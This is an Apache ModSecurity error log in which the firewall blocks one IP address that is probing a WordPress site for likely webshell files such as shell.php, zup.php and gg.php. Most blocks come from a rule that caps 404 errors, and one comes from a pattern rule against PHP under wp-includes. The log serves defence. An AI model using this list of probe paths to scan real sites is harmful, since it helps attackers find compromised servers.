[Sat May 23 20:52:36.617175 2026] [:error] [pid 25876:tid 25886] [client 4.213.99.137:1579] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zafir1.php"] [unique_id "ahGjFASpWUCKPezIBJCuKQAAAQg"]
[Sat May 23 20:52:36.908634 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:1326] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zafir1.php"] [unique_id "ahGjFHTIgjSDhiZmvlXvOwAAAFY"]
[Sat May 23 20:52:37.178169 2026] [:error] [pid 31039:tid 31052] [client 4.213.99.137:1679] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zafir1.php"] [unique_id "ahGjFaIYDYo8WvA5zLJGfAAAAMs"]
[Sat May 23 20:52:37.451120 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:1319] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zafir1.php"] [unique_id "ahGjFXTIgjSDhiZmvlXvPAAAAFg"]
[Sat May 23 20:52:37.721395 2026] [:error] [pid 30940:tid 30949] [client 4.213.99.137:1514] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ahGjFZqUP2XZmzp7RDoNBAAAAAA"]
[Sat May 23 20:52:38.040396 2026] [:error] [pid 30940:tid 30955] [client 4.213.99.137:1297] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ahGjFpqUP2XZmzp7RDoNBgAAAAY"]
[Sat May 23 20:52:38.317907 2026] [:error] [pid 30941:tid 30999] [client 4.213.99.137:1691] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ahGjFnTIgjSDhiZmvlXvPgAAAFc"]
[Sat May 23 20:52:38.616182 2026] [:error] [pid 30941:tid 30995] [client 4.213.99.137:1669] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ahGjFnTIgjSDhiZmvlXvPwAAAFM"]
[Sat May 23 20:52:38.888856 2026] [:error] [pid 25876:tid 25897] [client 4.213.99.137:1553] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c1.php"] [unique_id "ahGjFgSpWUCKPezIBJCuKwAAARM"]
[Sat May 23 20:52:39.204970 2026] [:error] [pid 30942:tid 31026] [client 4.213.99.137:1534] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c1.php"] [unique_id "ahGjF9Uosz64YFiBlG114wAAAJc"]
[Sat May 23 20:52:39.502920 2026] [:error] [pid 30942:tid 31007] [client 4.213.99.137:1561] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c1.php"] [unique_id "ahGjF9Uosz64YFiBlG115AAAAIQ"]
[Sat May 23 20:52:40.148450 2026] [:error] [pid 30942:tid 31005] [client 4.213.99.137:1697] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c1.php"] [unique_id "ahGjGNUosz64YFiBlG115QAAAII"]
[Sat May 23 20:52:40.432000 2026] [:error] [pid 30942:tid 31023] [client 4.213.99.137:1723] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/root.php"] [unique_id "ahGjGNUosz64YFiBlG115gAAAJQ"]
[Sat May 23 20:52:40.806938 2026] [:error] [pid 25876:tid 25892] [client 4.213.99.137:1982] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/root.php"] [unique_id "ahGjGASpWUCKPezIBJCuLAAAAQ4"]
[Sat May 23 20:52:41.095803 2026] [:error] [pid 31039:tid 31050] [client 4.213.99.137:1596] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/root.php"] [unique_id "ahGjGaIYDYo8WvA5zLJGggAAAMk"]
[Sat May 23 20:52:41.402755 2026] [:error] [pid 31039:tid 31041] [client 4.213.99.137:1341] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/root.php"] [unique_id "ahGjGaIYDYo8WvA5zLJGhgAAAMA"]
[Sat May 23 20:52:41.976816 2026] [:error] [pid 31039:tid 31049] [client 4.213.99.137:1936] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "ahGjGaIYDYo8WvA5zLJGiQAAAMg"]
[Sat May 23 20:52:42.482546 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:2019] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "ahGjGnTIgjSDhiZmvlXvQQAAAFY"]
[Sat May 23 20:52:42.757751 2026] [:error] [pid 30941:tid 30984] [client 4.213.99.137:1331] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "ahGjGnTIgjSDhiZmvlXvQgAAAEg"]
[Sat May 23 20:52:43.029417 2026] [:error] [pid 30942:tid 31010] [client 4.213.99.137:1293] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "ahGjG9Uosz64YFiBlG116wAAAIc"]
[Sat May 23 20:52:43.341616 2026] [:error] [pid 30942:tid 31006] [client 4.213.99.137:1642] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/index.php"] [unique_id "ahGjG9Uosz64YFiBlG117AAAAIM"]
[Sat May 23 20:52:43.616430 2026] [:error] [pid 31039:tid 31055] [client 4.213.99.137:1616] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/index.php"] [unique_id "ahGjG6IYDYo8WvA5zLJGiwAAAM4"]
[Sat May 23 20:52:43.914942 2026] [:error] [pid 31039:tid 31057] [client 4.213.99.137:1667] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/index.php"] [unique_id "ahGjG6IYDYo8WvA5zLJGjAAAANA"]
[Sat May 23 20:52:44.332487 2026] [:error] [pid 31039:tid 31064] [client 4.213.99.137:1703] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/index.php"] [unique_id "ahGjHKIYDYo8WvA5zLJGjQAAANc"]
[Sat May 23 20:52:44.639978 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1638] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "ahGjHHTIgjSDhiZmvlXvRAAAAEc"]
[Sat May 23 20:52:44.984859 2026] [:error] [pid 30941:tid 30997] [client 4.213.99.137:1675] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "ahGjHHTIgjSDhiZmvlXvRgAAAFU"]
[Sat May 23 20:52:45.267418 2026] [:error] [pid 30942:tid 31012] [client 4.213.99.137:1709] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "ahGjHdUosz64YFiBlG117wAAAIk"]
[Sat May 23 20:52:45.556049 2026] [:error] [pid 25876:tid 25901] [client 4.213.99.137:1685] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "ahGjHQSpWUCKPezIBJCuLQAAARc"]
[Sat May 23 20:52:45.953913 2026] [:error] [pid 31039:tid 31056] [client 4.213.99.137:1640] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/linkpreview/il.php"] [unique_id "ahGjHaIYDYo8WvA5zLJGkQAAAM8"]
[Sat May 23 20:52:46.252015 2026] [:error] [pid 30940:tid 30953] [client 4.213.99.137:1316] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/linkpreview/il.php"] [unique_id "ahGjHpqUP2XZmzp7RDoNCwAAAAQ"]
[Sat May 23 20:52:46.539207 2026] [:error] [pid 30940:tid 30950] [client 4.213.99.137:1114] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/linkpreview/il.php"] [unique_id "ahGjHpqUP2XZmzp7RDoNDwAAAAE"]
[Sat May 23 20:52:46.876752 2026] [:error] [pid 30940:tid 30958] [client 4.213.99.137:1651] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/linkpreview/il.php"] [unique_id "ahGjHpqUP2XZmzp7RDoNEQAAAAk"]
[Sat May 23 20:52:47.275461 2026] [:error] [pid 31039:tid 31052] [client 4.213.99.137:1305] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-header-json.php"] [unique_id "ahGjH6IYDYo8WvA5zLJGkwAAAMs"]
[Sat May 23 20:52:47.794452 2026] [:error] [pid 30940:tid 30949] [client 4.213.99.137:1677] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-header-json.php"] [unique_id "ahGjH5qUP2XZmzp7RDoNFgAAAAA"]
[Sat May 23 20:52:48.107780 2026] [:error] [pid 30940:tid 30968] [client 4.213.99.137:1609] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-header-json.php"] [unique_id "ahGjIJqUP2XZmzp7RDoNFwAAABM"]
[Sat May 23 20:52:48.454827 2026] [:error] [pid 31039:tid 31057] [client 4.213.99.137:1340] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-header-json.php"] [unique_id "ahGjIKIYDYo8WvA5zLJGlQAAANA"]
[Sat May 23 20:52:48.831298 2026] [:error] [pid 31039:tid 31064] [client 4.213.99.137:1611] [client 4.213.99.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/index.php"] [unique_id "ahGjIKIYDYo8WvA5zLJGlgAAANc"]
[Sat May 23 20:52:49.182525 2026] [:error] [pid 44326:tid 44377] [client 4.213.99.137:1680] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php"] [unique_id "ahGjIcyrPrcAqE-FOKKgVwAAAdY"]
[Sat May 23 20:52:49.456209 2026] [:error] [pid 44326:tid 44359] [client 4.213.99.137:1676] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php"] [unique_id "ahGjIcyrPrcAqE-FOKKgWwAAAcQ"]
[Sat May 23 20:52:49.735785 2026] [:error] [pid 31039:tid 31045] [client 4.213.99.137:1696] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php"] [unique_id "ahGjIaIYDYo8WvA5zLJGlwAAAMQ"]
[Sat May 23 20:52:50.093672 2026] [:error] [pid 44326:tid 44372] [client 4.213.99.137:1707] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a9.php"] [unique_id "ahGjIsyrPrcAqE-FOKKgXwAAAdE"]
[Sat May 23 20:52:50.372585 2026] [:error] [pid 30941:tid 30994] [client 4.213.99.137:1718] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a9.php"] [unique_id "ahGjInTIgjSDhiZmvlXvSwAAAFI"]
[Sat May 23 20:52:50.649760 2026] [:error] [pid 30941:tid 30987] [client 4.213.99.137:1714] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a9.php"] [unique_id "ahGjInTIgjSDhiZmvlXvTAAAAEs"]
[Sat May 23 20:52:50.939414 2026] [:error] [pid 44326:tid 44373] [client 4.213.99.137:1689] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a9.php"] [unique_id "ahGjIsyrPrcAqE-FOKKgYgAAAdI"]
[Sat May 23 20:52:51.341623 2026] [:error] [pid 30941:tid 30993] [client 4.213.99.137:1635] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/index.php"] [unique_id "ahGjI3TIgjSDhiZmvlXvUAAAAFE"]
[Sat May 23 20:52:51.668715 2026] [:error] [pid 44326:tid 44358] [client 4.213.99.137:1599] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/index.php"] [unique_id "ahGjI8yrPrcAqE-FOKKgZQAAAcM"]
[Sat May 23 20:52:51.941699 2026] [:error] [pid 44326:tid 44361] [client 4.213.99.137:1621] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/index.php"] [unique_id "ahGjI8yrPrcAqE-FOKKgZgAAAcY"]
[Sat May 23 20:52:52.310493 2026] [:error] [pid 25876:tid 25898] [client 4.213.99.137:1636] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/index.php"] [unique_id "ahGjJASpWUCKPezIBJCuLgAAARQ"]
[Sat May 23 20:52:52.629528 2026] [:error] [pid 44326:tid 44367] [client 4.213.99.137:1687] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "ahGjJMyrPrcAqE-FOKKgZwAAAcw"]
[Sat May 23 20:52:52.950998 2026] [:error] [pid 25876:tid 25887] [client 4.213.99.137:1727] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "ahGjJASpWUCKPezIBJCuMQAAAQk"]
[Sat May 23 20:52:53.249845 2026] [:error] [pid 25876:tid 25902] [client 4.213.99.137:1665] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "ahGjJQSpWUCKPezIBJCuMwAAARg"]
[Sat May 23 20:52:53.542605 2026] [:error] [pid 30940:tid 30958] [client 4.213.99.137:1285] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "ahGjJZqUP2XZmzp7RDoNHAAAAAk"]
[Sat May 23 20:52:53.846846 2026] [:error] [pid 30940:tid 30957] [client 4.213.99.137:1563] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "ahGjJZqUP2XZmzp7RDoNHwAAAAg"]
[Sat May 23 20:52:54.147284 2026] [:error] [pid 30941:tid 30999] [client 4.213.99.137:1339] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "ahGjJnTIgjSDhiZmvlXvUwAAAFc"]
[Sat May 23 20:52:54.496513 2026] [:error] [pid 25876:tid 25894] [client 4.213.99.137:1320] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "ahGjJgSpWUCKPezIBJCuNAAAARA"]
[Sat May 23 20:52:54.987729 2026] [:error] [pid 30940:tid 30961] [client 4.213.99.137:1688] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "ahGjJpqUP2XZmzp7RDoNIQAAAAw"]
